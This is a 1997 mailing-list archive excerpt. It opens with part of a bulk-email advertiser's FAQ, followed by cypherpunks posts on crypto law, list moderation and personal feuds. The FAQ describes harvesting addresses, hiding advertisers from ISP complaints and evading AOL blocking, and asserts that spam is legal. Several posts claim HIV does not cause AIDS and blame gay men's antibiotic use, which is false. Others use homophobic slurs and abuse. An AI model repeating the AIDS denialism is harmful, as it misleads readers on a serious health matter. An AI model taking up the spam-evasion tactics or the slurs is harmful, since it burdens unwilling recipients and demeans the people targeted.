8) What is "flame-filtering"/"Email Aliasing" ? Will anyone see my real Email address or complain to my provider?
9) What is an "autoresponder"?
10) What about ad copy design?
11) What about proof-of-mailing?
12) What is the "response rate guarantee"? How does it work?
13) What is your mail sending capacity?
14) What is the average lead time before my ad can be sent?
15) What type of mailing should I do? (Bulk stand-alone, MEGA-MAILER co-op, Targeted mail)
16) What categories are available for targeted lists?
17) Do you have sub-agent opportunities?
18) What is your list like, where are the names from, how big is it, how do you maintain it, etc?
19) What about undeliverables?
20) Contact Info

1) What are your minimum orders?
Our minimum orders are 5,000 pieces for targeted mailings (in even lots of 5,000), 100,000 pieces for stand-alone bulk mailings (in even lots of 100,000), and 5 MILLION for the MEGA-MAILER co-op mailing (the full 5 million is the only size). As long as y
our order is for at least  the minimum amount of pieces, and in even lot sizes, you may stagger the actual sendings any way you wish (50,000 per week, etc.). Note, however, that the MEGA-MAILER is only sent once per week and is sent to the full 5 million
 address list. The reason we have minimums at all is due to the fact that the majority of our cost in terms of man-hours comes as a result of setting up a mailing, and so we cannot spend the time and money to setup too small a job.

2) Why can't I just do mailings myself?
Technically, you can. For practical purposes, you can't. There are three reasons why it is implausible to even attempt to do your own Email Advertising:
  1) Every single internet service provider on the planet will shut down your account. You will not even get 1000 pieces of mail out, and you will be shut down, because some uptight, self-appointed net-cops will complain to your provider. Do not kid your
self. It WILL happen. Sending unsolicited commercial Email of any type is a violation of virtually every ISP's Terms of Service. Even if your ISP tells you it's OK (which will not happen 99% of the time), they will very quickly change their tune after th
eir technical people receive a mailbox full of angry mail (commonly referred to as flames). When your account is cancelled, you will NOT get a refund, and, worse yet, you won't even be able to retrieve your replies! 
  2) A very large technical capacity is required to send bulk Email. You MIGHT be able to send 5,000 or so pieces of mail per hour, with a 28.8 modem, except that with dial-up internet connections, there are always dropped connections and so you can neve
r be sure your mail went out unless you constantly sit and monitor the mailings all day and night, and send very small pieces at a time.
  3) In order to have a list of addresses to send to, you have two choices: either spend months collecting names, or purchase an over-used list from a list vendor, who has sold the same list to dozens of others, who will bomb the list into uselessness. I
n addition, most lists are so old that the names are 40% undeliverable, or from newsgroups, which are the WORST kinds of people to solicit. 
These three factors make it a practical impossibility to actually do your own bulk Email advertising, even though the vendors of the bulk Email software will not tell you this. The reason we do not have these hassles is because Quantum Communications IS 
OUR OWN INTERNET PROVIDER. We do not purchase service from anyone, and Email advertising is our only business! We have our own in-house servers, high-speed T-1 connections to the Internet, and full-time technical and customer service staff, yet our only 
customers are advertisers! Our lists are constantly maintained, updated, and cleansed, and are ONLY from high-quality sources. We DO NOT sell our names, or let anyone see them. See Question 18 for more on our lists. 

3) What about Floodgate and other similar software mailing programs?
Those programs can actually be fairly useful for extracting Email addresses and if you would like to build your own lists to your own specifications, that is an option (See Question 4 "What if I have my own list?"). However, building mailing lists is an 
EXTREMELY time-consuming and monotonous task, not to mention expensive in on-line charges. In addition, having these software programs will not help in the least in the sending issues you need to consider (See Question #2, above). We handle all aspects o
f the mailing process, leaving you free to concentrate on your business!

4) What if I have my own list?
We are fully able to use your list and send your mail to it. The price is 50% of what it would normally be. We simply have you Email or ftp your list to us, with ad copy (and autoresponse copy, if necessary).

5) What about the other Email Advertising companies?
There is some competition in  Direct Email marketing for your advertising dollar, and we have never purported to be the cheapest. We simply are the best. Most of the other "cheapo" companies who claim to offer a zillion pieces sent for $39, or some simil
ar lowball deal, are quite frankly, scams. No legitimate company can afford all of the hardware, software, and personnel that a true advertising company like ours posesses, without charging a reasonable fee for providing of the service. Most of the low-r
ent Email marketing companies are here-today, gone tomorrow. Perhaps gone with your money. Almost certainly gone without providing the actual service you paid for. Many of them look great until you investigate them further. Try calling them and getting a
 real live person on the phone. Or try asking them some of the questions referred to in this document. Most will disappear when you start asking serious questions. Or try asking for references. Good luck. There are so many fly-by night operators and snak
e-oil salesmen on the 'net, it is hard to know what to believe. But the basic truths in business hold true. You should be able to call and get a live person on the phone, you should be able to check references and ask pointed questions, you should have a
ccess to customer service and technical support, and you should be able to get a clear understanding of who you are dealing with, and how they do business. One mailing with us and you will be convinced that we truly are the cadillac of the industry.

6) What is the legal status of Email Advertising?
Direct Email Advertising and solicitation is legal. It always has been. There are many self-styled legal eagles who dislike Email solicitation, and they will sometimes misquote federal statutes which apply to sending of unsolicited FAXES. There has never
 been a higher-court ruling supporting this supposed link between Email and unsolicited FAX.
It is highly unlikely that such a ruling will EVER occur. If it does, we of course will need to adjust our business practices  to stay in accordance with the law. However, at the present time, and for the foreseeable future in our opinion, Email solicita
tion is just as legal as postal mail solicitation. The only real negative point which anti-Email advertising people address is that SOME people pay for their connect time at a timed/metered rate. Thus, the milliseconds which it takes to download an unsol
icited piece of mail does cost the recipient (albeit tiny fractions of a penny). However, almost all ISP's (even America Online) have moved, or will be forced by competition to move, to an unlimited time rate structure. Therefore, this will no longer be 
an issue, and the persons who oppose Email advertising will have no legs to stand on. As this happens, Email advertising will become exactly like postal mail solicitation ( it is actually LESS intrusive than postal  junk mail), and therefore we believe i
t will NOT be regulated or legislated against.
 As a side note, we do provide a very clear, brief disclaimer at the header of ALL of our mailings which gives quick, simple removal instructions for persons who do not want to be on our lists. We act on all such requests immediately. In fact, it is an a
utomated process. We do not want to be sending mail to unwilling recipients any more than they wish to receive it.

7) What about blocking by AOL?
America Online has recently taken to blocking Email solicitations to it's members by certain Email Advertising companies. These companies are the ones who had been abusing their power, and had in fact been over-mailing (sending multiple pieces to the sam
e recipients PER DAY). The most well-known of these companies was Cyber-Promotions. We feel that since we only send mail no more than 3 times per week to any single recipient, AOL is unlikely to begin blocking our transmissions. We also could take counte
rmeasures technically and send to them again if necessary. However, our list only consists of about 25% AOL members, and that percentage is shrinking, as most of our newer names are coming from indepedent ISP sources (see Question # 18), so a blockage, w
hile unlikely, would not affect us in the least in any event. Incidentally, we find it interesting that AOL does not apparently mind soliciting it's members (one cannot be online with them without getting at least 3 pop-up ads PER SESSION), they simply d
on't want others soliciting their members without compensating THEM.

8) What is "flame-filtering"/"Email Aliasing" ? Will anyone see my real Email address or complain to my provider?
Flames are the hate mail which is a part of Email soliciting today. Flame filtering is the automated filtering process we use to ensure that replies forwarded to you (by us) are only positive, serious inquiries, requests for information, orders, etc. We 
assign customers an Email alias at OUR domain. We are the only ones who know your REAL Email address. We then have all replies to your advertising sent to the alias we have assigned you so that we can filter out flames, then forward the "good" replies to
 you. No one can complain to your ISP, because as far as anyone knows, WE are your ISP (and we of course will not pay any attention, except to promptly remove them from our lists). In this way, you are totally insulated and protected, while still getting
 all "good" replies! Good replies are forwarded to you automatically as they come in. There is NO lag time or waiting.

9) What is an "autoresponder"?
An Autoresponder is just an Email alias which we can have prospects who see your advertising respond to. When the response hits the autoresponder, it kicks back an automatic text file reply via Email, which is typically a more detailed package of informa
tion (up to 20 pages)  regarding your product or service. This effectively helps you weed out the "tire-kickers", so you are free to concentrate on fulfilling orders and more serious requests. A typical procedure is for a small "teaser" ad to be sent, wi
th an autoresponder as the reply-to address. In the autoresponse text, you would typically include another Email alias for orders or more serious or specific questions.

10) What about ad copy design?
We do have a copy editor on staff who is available to either write your copy from scratch or revise existing copy you already have. This is usually a wise investment, because the copy can be reused many times in different mailings, it will be done by a s
easoned professional with over 10 years of experience in copywriting, and the actual copy is more than anything the key difference between success and failure when doing an Email marketing campaign. Think about it. Email is text only. No graphics, no mov
ing pictures, sounds or colors. The content is all-important.
 Charges are $80 per hour, with typical costs being 1/2 hour for a revision, 1 hour for a small ad design, and 3 or more hours for design of ad copy plus autoresponse copy.

11) What about proof-of-mailing?
When sending mail via the US Postal Service, a proof of mailing receipt is provided. There is no such counterpart in the world of Email. Although you will receive confirmation of your mailing once it is sent, the best way to become comfortable with deali
ng with us is by first talking with our references, then by doing a single mailing to see what we can do for you. Once you have done business with us you will agree that we deliver exactly what we promise. Our minimum response rate guarantee is further e
vidence of this, and renders the question of a proof of mailing as somewhat moot. We do actually have a log of all sent mail which is generated by our mailing software, but we only disclose the log under extenuating circumstances, and for a fee of $50 pe
r 100,000 pieces sent, as it lists every mail sent, which discloses our list.

12) What is the "response rate guarantee"? How does it work?
Our unique "response rate guarantee" is a clear indication of not only our rock-solid commitment to each and every advertiser, but also of our belief in direct Email advertising as a marketing medium. We know of no other advertising agency (Email or othe
rwise) who actually GUARANTEES a minimum number of responses. Our guarantee is the following:
  1) If you do not receive AT LEAST the minimum guaranteed responses from your Email Advertising, we will send on your behalf again, and again, and again..until you get the minimum amount!
  2) You must allow 10 business days from the date your mailing was completed and you received confirmation, before requesting a remailing.
  3) Of course, only positive, interested replies are counted towards your guaranteed minimum.
  4) For this guarantee to apply, we must be able to verify the amount of replies you receive, so your ad must direct interested persons to an autoresponder or Email alias which we provide.
  5) Any remailings are done on the same scale and amount as the original mailing, but to different recipients (except for the MEGA-MAILER or targeted lists)).
  6) You must request a remailing by sending an Email to our customer service department, or by calling our office (ask to speak to customer service). We do not monitor replies automatically and automatically resend.
  7) You may, at no charge, alter your original advertisement in any way you wish, as long as it is the same type of mailing as the original (targeted must be to the same group), and the same length as paid for in the original. Optionally, you may have t
he ad revised professionally by us (See Question # 10). 
The Minimum responses guaranteed are as follows. We have had to make the numbers guaranteed purposefully low, because we extend this guarantee to ALL advertisers, regardless of whether or not they have effective ad copy or an appealing product or service
. We of course strive for much higher responses for everyone, but is helpful to know that there is a "safety net", just in case.
MINIMUMS:
GENERAL STAND-ALONE BULK: 100 REPLIES PER 200,000 PIECES SENT
TARGETED BULK: 150 REPLIES PER 5,000 PIECES SENT
MEGA-MAILER: 200 REPLIES
This allows advertisers to plan on a maximum cost per inquiry, which can be essential when planning a marketing budget. This guarantee, more than any other single factor, shows that Quantum Communications is a cut above the rest in the world of Marketing
 and Advertising!

13) What is your mail sending capacity?
We have the technical capacity to send over 2 million pieces of mail per day. We have invested heavily in hardware, software, and high-speed mail transmission facilities to be able to achieve this capacity. We can handle your job, large or small. 

14) What is the average lead time before my ad can be sent?
The current lead time is 7-10 business days. This allows time for your ad copy to be submitted and for any revisions you may have before the mailing date. We actually work very hard to keep the lead times to a minimum, however, there has been a very high
 demand for Email advertising services, and it has been difficult just keeping up. If you have a special need to expedite an order, call or Email our customer service department, and we will make every effort to accomodate you.

15) What type of mailing should I do? (Bulk stand-alone, MEGA-MAILER co-op, Targeted mail)
This depends entirely on your product or service. If you have a product or service which has a broad-based appeal, it is definetely better to send to a larger group of people. If you have an offering which you think needs 20-30 lines to entice people or 
grab their interest, then you need a stand-alone (the MEGA-MAILER is not for you). If you are announcing a website and just want mass exposure to 5 MILLION people, the MEGA-MAILER is just the thing. Of course, if you are trying to reach a select group, y
ou need to have a targeted mailing. You may Email or call our sales department and a sales representative will be happy to assist you in selecting the right type of mailing to suit your offering.

16) What categories are available for targeted lists?
We custom build all of our targeted lists from scratch, and 90% of our targeted lists are never re-used. We are able to build a custom-designed list to YOUR specifications. So, in other words, you tell US what the category is, or the demographics of the 
persons or businesses you are trying to reach. We then get an estimate from our List staff for approximately how many names we will commit to being able to find. Our sales staff will work with you on this issue. Of course, it is always a much lower volum
e of names than a normal bulk list, but we have seen response rates of over 5% when mailing a targeted group!

17) Do you have sub-agent opportunities?
Yes we do.
We are currently accepting sub-agents who wish to promote and re-sell our services, or simply send us referrals.
For a copy of our agent registration kit via Email, send an Email to agent@quantcom.com

18) What is your list like, where are the names from, how big is it, how do you maintain it, etc?
Our Lists department is continually extracting fresh names for our lists from many sources. The sources include the membership directories of all the major online services (AOL, Compuserve, Prodigy, Delphi, MSN), plus the "white pages" Email databases su
ch as 411, IAF, etc. We NEVER extract names from newsgroups, except to build targeted lists. We NEVER send mail to Listserv's, .edu's, .gov's, etc. We automatically delete removal requests immediately, as well as undeliverables. We add 400,000 to 800,000
 fresh addresses each week. For these reasons, we feel that we have a super-high quality database, which consists of over 6 MILLION addresses. This high list quality is another feature of our service, and boosts response rates dramatically over our compe
titors. Although we add addresses constantly, and are attempting to reach 10 MILLION addresses by 2nd quarter of 1997, it is difficult because we lose about 10% of our database each week to removal requests and undeliverables. 

19) What about undeliverables?
We are consistently losing about 10% of our list each week to undeliverables and removal requests (combined). In order to somewhat compensate our advertisers for this, without incurring all the logistical nightmares we would have to endure if we tried to
 account for removals and undeliverables for each particular mailing, we send 110% of the actual order amount as a general rule. For example, if you paid for 100,000 we send 110,000. This approach has worked very well for our customers. Also note that th
is becomes a less significant issue when the minimum response guarantee is taken into account.

Contact Info:
Quantum Communications
6 Laurel Lane
Stratham, NH 03885
(603) 772-4096
(603) 772-7297 fax
general correspondence: staff@quantcom.com
sales: sales@quantcom.com
customer service: cusserv@quantcom.com
http://www.quantcom.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 25 Jan 1997 13:28:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: overview.htm (fwd)
Message-ID: <199701252135.PAA16387@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 25 Jan 1997 10:31:49 -0800
> From: Dale Thorn <dthorn@gte.net>
> Subject: Re: overview.htm
> 
> Dr.Dimitri Vulis KOTM wrote:
> > Jim Choate <ravage@einstein.ssz.com> writes:
> 
> > [For the record, I have serious doubts whether the HIV virus causes AIDS.]
> 
> Both homosexual males and IV drug users are well known to take a lot
> of antobiotics, which lowers the efficacy of the immune system enough
> to allow most anything to happen, ultimately leading to auto-immune
> problems.

WOAH Bessie!

I had nothing to do with this exchange, and definitely didn't write ANY of
the above. Please get me out of there and keep me out of it. I am more than
able to speak for myself thank you.

                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 25 Jan 1997 13:30:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701252138.PAA16394@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 25 Jan 1997 10:19:20 -0800
> From: Dale Thorn <dthorn@gte.net>
> Subject: Re: Fighting the cybercensor. (fwd)
> Precedence: bulk
> 
> Bill Stewart wrote:
> > At 07:38 PM 1/23/97 -0600, Jim Choate wrote:

I most certainly did NOT...

> > One of the points of the Ebonics program is to recognize that
> > other people don't always speak the same way you do, and that
> > if you want to communicate with them, you'll be more successful
> > if you realize it, understand when they're talking in their dialect,
> 
> I could agree with "some of the points" of the Ebonics program were
> it not for the fact of the hidden points.  Unbeknownst to most folks,
> supporting a program on any erstwhile points will give support to the
> program on *all* points.

Looks like Bessie could use a refresher course in:

   *  Getting their sources correct

   *  Using their mail/editing package

   *  Basic rules of courtesy

Folks, if you can't get it straight, keep your damn editor buffers empty.

                                                Jim Choate
                                                CyberTects
                                                ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 25 Jan 1997 16:21:13 -0800 (PST)
To: Adam Shostack <jer+@andrew.cmu.edu>
Subject: Re: Encrypting ZIP disks
Message-ID: <3.0.32.19970125155133.00683d28@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 11:40 AM 1/25/97 -0500, Adam Shostack wrote:
>
>Paul Kocher announced that he has cracked it, and can recover data
>quickly.  He is not publishing details of the break.

Why?



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sat, 25 Jan 1997 16:41:40 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: Public Key Partners
Message-ID: <v02140b01af10534ceed1@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Hello,
>
>Do you know of a way I can contact Public Key Partners by e-mail or phone?
>Thanks.
>
>Jeremy K. Yu-Ramos
>President
>DataET Research
>Data Engineering Technologies

PKP is really just a holding/licensing company.  Last time I heard Bob
Fougner was still legal council to PKP.  You should be able to contact him
through Cylink Corp. (800) 600-5858.

-- Steve

P.S. Tell him hello from me.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Julian Assange <proff@iq.org>
Date: Fri, 24 Jan 1997 22:01:40 -0800 (PST)
To: meditation@gnu.ai.mit.edu
Subject: language drift
Message-ID: <199701250559.QAA11354@profane.iq.org>
MIME-Version: 1.0
Content-Type: text/plain



One of my projects involves tracking language drift; i.e the relative
change in word frequency on the internet as time goes by.  This is
useful for predicting concept movement, and the anglisization
rates of non-English language countries.

Now, one day while browsing the frequencies from the 10 billion
word corpus, what do I see?

God     	2,177,242
America 	2,178,046
designed        2,181,106
five    	2,189,194
December        2,190,028

;)

-Julian Assange <proff@iq.org>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwp@mail.msen.com (Lou Poppler)
Date: Sat, 25 Jan 1997 14:39:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Voting to require Photo ID in Michigan
Message-ID: <1No6yMz2B8IT083yn@mail.msen.com>
MIME-Version: 1.0
Content-Type: text/plain


Late last year, in the final days that Republicans controlled both
houses of the Michigan Legislature, they passed a new law requiring
citizen-units to show a picture ID in order to vote.  This law was
signed by Governor John Engler earlier this month.  Here I reproduce
without permission a news brief from the Lansing State Journal,
which gives some reactions to the new law.  Particularly interesting
to me is the promise of selective enforcement from the Governor's
spokesman.

' LAWMAKER SEEKS VOTER LAW REVIEW
'     Pontiac -- A Republican lawmaker has asked the U.S. Justice 
' Department to review a new state law that will require voters to show
' photo identification to cast ballots.
'     Rep. Greg Kaza of Rochester Hills wrote to Attorney General Janet
' Reno this week to seek the review, The Oakland Press reported Thursday.
'     The new law requires all voters to have a state photo ID card, such
' as a driver's license or an ID card people receiving public assistance
' are required to have.
'     Kaza said Wednesday he wrote to Reno that "Public Act 583 of 1996
' has the potential to intimidate certain classes of voters, including
' senior citizens, from exercising their democratic right to vote.  They
' should not be disenfranchised from exercising their right to vote 
' under the United States Constitution."
'     Gov. John Engler signed the bill last week.  His administration
' says it is needed to protect the integrity of the voting process, but
' critics, mostly Democrats, say it would exclude some people from voting.
'     "It is our belief you need an ID in society today," Engler spokesman
' John Truscott said.  "And only if you are challenged at the ballot box
' do you have to show an ID."
'     Michigan Attorney General Frank Kelley already has been asked to
' issue an opinion on whether the new law is constitutional.

::::::::::::::::::::::::::::::::::::::  "We are surrounded by 
:: Lou Poppler <lwp@mail.msen.com>  ::   insurmountable opportunity."
::      http://www.msen.com/~lwp/   ::  
::::::::::::::::::::::::::::::::::::::   -- Pogo (Walt Kelly)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 25 Jan 1997 17:12:12 -0800 (PST)
To: Lou Zer <satan_is_a_hacker@juno.com>
Subject: Re: HELLO
Message-ID: <3.0.1.32.19970125170608.0063aa78@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:31 AM 1/25/97 EST, Lou Zer wrote:
>Is  ESDES  a good program?
>
>
>
No clue - got a pointer to where it lives?
Also, a Subject line is a good way to let people know
what your mail is about.... - like 
	Subject: ESDES?
	Is  ESDES  a good program?
	It's at http://really-cool-warez.com/elite/trustme/warez.html

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 25 Jan 1997 17:12:13 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Anyone have info on foreign "ITARS"
Message-ID: <3.0.1.32.19970125170856.0062ec78@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:01 PM 1/24/97 +0000, Bill Campbell wrote:
>Does anyone have any pointers to info about the import/export
>restrictions on encryption products in various countries. I know any

 From     : "Bert-Jaap Koops" <E.J.Koops@kub.nl>
 Subj     : Crypto Law Survey updated
 Date     : Thu, 9 Jan 1997 09:38:31 MET
 Forward? : No
 Return   : owner-cryptography@c2.net
---------------------------------------------------------------
 I have just updated my survey of existing and envisaged cryptography
laws and regulations. It now also includes a What's new section. This
update contains among others updates on the OECD, Germany, France,
Netherlands, the new US export regulations, and the Bernstein case.

See the Crypto Law Survey at
http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 25 Jan 1997 17:18:07 -0800 (PST)
To: Hugh Daniel <hugh@ecotone.toad.com>
Subject: Re: Scandinavian Goverments provide PGP to postal customers...
Message-ID: <3.0.1.32.19970125171733.0063b5b0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:29 PM 1/24/97 -0800, Hugh Daniel wrote:
>>    Based on PGP, with no "third-party" key holder, the Nordic system
>>    uses unbreakable RSA-algorithm encryption with a 1024-bit key.
>>    However, some hardware is required. Because the key is on a
>>    smartcard, users must have smartcard readers installed on their
>>    computers, which aren't yet widely available. But Pdr Andler of
>>    Finnish Hewlett Packard says that later this year, smartcard readers

Guess what - it's still got "key escrow"!  If you've got a smartcard
that holds your key, then you've got something well-defined that can
be subpoenaed....  It's better than Yankee-style giving the government your
keys
in advance, but it's still key escrow.

On the other hand, it's voluntary, and if it interoperates with
Real PGP, then great - but will there be an expectation that you need to have
your key signed by The Post Office to use it?

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 14:54:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: TEST--MODERATED
In-Reply-To: <Pine.SUN.3.91.970125081551.7885P-100000@crl4.crl.com>
Message-ID: <s5y41D36w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort <sandfort@crl.com> writes:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
> C'punks,

"My fellow cocksucker punks,"

> We are still working out the bugs.  This message is SUPPOSED to
> go only to the unedited list and the moderated list.  If it shows
> up on the flames list, we have a bug.  I'd like to have a couple
> of you (Toto?  Dale Thorn?) let me know so we can trace down the
> problem and get it corrected.

This Sandy bugger is just a front for John Gilmore.  Don't {b|f}lame Sandy
for censorship, {f|b}lame the man behind him - the list owner.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 16:20:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701252135.PAA16387@einstein>
Message-ID: <wXZ41D37w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@einstein.ssz.com> writes:
> > > Jim Choate <ravage@einstein.ssz.com> writes:
> >
> > > [For the record, I have serious doubts whether the HIV virus causes AIDS.
> >
> > Both homosexual males and IV drug users are well known to take a lot
> > of antobiotics, which lowers the efficacy of the immune system enough
> > to allow most anything to happen, ultimately leading to auto-immune
> > problems.
>
> WOAH Bessie!

Jim and Dale,

I agree.  Also shooting one's bloodstream full of fecal matter hardly helps.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 18:04:14 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <wXZ41D37w165w@bwalk.dm.com>
Message-ID: <32EAB953.6676@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:

> > > > [For the record, I have serious doubts whether the HIV virus causes AIDS.

> > > Both homosexual males and IV drug users are well known to take a lot
> > > of antobiotics, which lowers the efficacy of the immune system enough
> > > to allow most anything to happen, ultimately leading to auto-immune
> > > problems.

> Jim and Dale, I agree.
> Also shooting one's bloodstream full of fecal matter hardly helps.

My point about the antibiotics is that the male gays take a dis-
proportionate amount of them, which compounds their problems.  It
suggests to me that the immune system is already seriously debilitated
or damaged before AIDS can take hold, rather than the notion that a
healthy person can get it from the virii alone.

One could argue that in the cases where the cures (antibiotics) add to
a person's problems by further corrupting their immune system, that
they should simply change their habits.  Since I don't see that as a
reasonable possibility, the only thing left is that the public should
be made aware of *all* of the relevant facts, even those which are
heavily suppressed now for PC reasons.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 18:04:23 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701252135.PAA16387@einstein>
Message-ID: <32EABA16.1926@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> Forwarded message:
> > Date: Sat, 25 Jan 1997 10:31:49 -0800
> > From: Dale Thorn <dthorn@gte.net>
> > Subject: Re: overview.htm

> > Dr.Dimitri Vulis KOTM wrote:
> > > Jim Choate <ravage@einstein.ssz.com> writes:
[snip]
> WOAH Bessie!
> I had nothing to do with this exchange, and definitely didn't write ANY of
> the above. Please get me out of there and keep me out of it. I am more than
> able to speak for myself thank you.

I don't know what could have happened. I use the Netscape email editor
in stupid mode, i.e., I just press the buttons, I don't have any idea
how it works.  Sorry!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: idea4u@concentric.net
Date: Sat, 25 Jan 1997 18:54:50 -0800 (PST)
To: idea4u@concentric.net
Subject: $$$ 9,780 $$$
Message-ID: <199701260020.TAA00231@newman.concentric.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sat, 25 Jan 1997 18:42:49 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: Encrypting ZIP disks
Message-ID: <v02140b05af105f19b4ac@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Paul Kocher announced that he has cracked it, and can recover data
>quickly.  He is not publishing details of the break.
>
>Adam Shostack

Sorry, I don't believe it any more than I believe other unsubstantiated
crypto claims.  Publish the code/method for others to verify or keep the
clains to yourself Paul.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Sat, 25 Jan 1997 17:59:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: NoneRe: [ANNOUNCEMENT] GAK
Message-ID: <199701260159.SAA13094@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[ocksucker] May's abysmal grammar, atrocious spelling 
and feeble responses clearly identify him as a product of the 
American education system.

        ,,,
       (. .)
   -ooO-(_)-Ooo- Timmy C[ocksucker] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sun, 26 Jan 1997 02:39:13 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <854274612.916192.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


 
> > > My perfectly crypto-relevant article regarding possible attacks
> > > on human relationships with the use of forged mail and anonymous
> > > remailers, has been tossed out (sorted) into cypherpunks-flames
> > > mailing list.
> >
> > I don`t think I read the article (even though I subscribe to the
> > unmoderated list), can you forward me a copy.
> > As I understand it though, from other comentaries, it was junked
> > because it was in response to a message by Dimitri who, given that it
> > is Sandy that is moderating the list, is no doubt filtered by
> > different criteria than anyone else on the list, in my opinion a
> > censorous and fascist restraint as Dimitri has recently been posting
> > more crypto relevant material, besides which whatever the content of
> > his posts they should be open to review before a decision is made on
> > if they are to be junked or not.
> 
> Has Paul reversed his previous pro-censorship stand and decided to
> learn something about crypto from people who actually know some?

There is no change of stance needed, I happen to believe you are 
knowledgable about cryptography and sometimes post worthwhile 
commentary and information, however, you also post a lot of dreck and 
flammable material which means I respond in kind. That does not mean 
I believe you, or anyone else, should be censored.

> > > Sandy also states rather plainly that crypto-relevance is not the
> > > criterion by which he moderates this list. I question this policy.
> >
> > Yes Sandy, please enlighten us, what is the criterion you use to
> > moderate the list if not crypto-relevancy. I suspect an element of
> > self preservation and protection of the list fuhrer and diktat maker
> > John Gilmore (who, until the disgraceful incident with Dimitri
> > commanded some respect on this list).
